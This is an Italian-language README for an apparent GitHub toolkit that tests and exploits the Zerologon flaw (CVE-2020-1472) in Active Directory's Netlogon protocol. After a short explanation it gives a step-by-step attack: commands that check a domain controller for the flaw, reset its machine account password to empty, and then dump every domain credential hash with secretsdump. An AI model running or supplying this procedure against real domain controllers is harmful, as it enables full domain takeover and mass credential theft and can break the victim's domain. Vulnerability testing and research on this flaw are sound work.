Zerologon

Set di script per testare e sfruttare la vulnerabilità zerologon (CVE-2020-1472)

---

Cos'è?

ZeroLogon è una vulnerabilità che ci consente di sfruttare un difetto crittografico nel Netlogon Remote Protocol (MS-NRPC) di Microsoft Active Directory, che permette agli utenti di accedere ai server utilizzando NTLM.

---

Passaggi preliminari

Prima di eseguire l'exploit dobbiamo sapere che è necessaria una versione diversa di impacket; per farlo seguiremo questi passaggi.

apt remove --purge impacket-scripts python3-impacket

git clone https://github.com/SecureAuthCorp/impacket.git

cd impacket

pip install .

---

PoC (Prova di concetto)

git clone https://github.com/Nekoox/zerologon.git

cd zerologon

pip install -r requirements.txt

Verifica se il controller di dominio vittima è vulnerabile a zerologon.

python3 tester.py <DC-NAME> <ip-address>

Nel caso in cui il DC vittima sia vulnerabile, apparirà un messaggio che dice "Success! DC can be fully compromised by a Zerologon attack."

Altrimenti, cioè se il DC vittima non è vulnerabile perché la falla di sicurezza è stata corretta, otterremo il seguente messaggio "Attack failed. Target is probably patched."

---

Cambia la password del controller di dominio vulnerabile in una stringa vuota.

python3 empty_pw.py <DC-NAME> <ip-address>

Se il controller di dominio è vulnerabile, dopo l'esecuzione dell'exploit non dovrebbe avere alcuna password.

Dump degli hash del controller di dominio.

> secretsdump.py -just-dc <DC-NAME>\$@<ip-address>

Eseguendo questo comando, saremo in grado di vedere tutti gli hash del dominio, senza alcuna credenziale.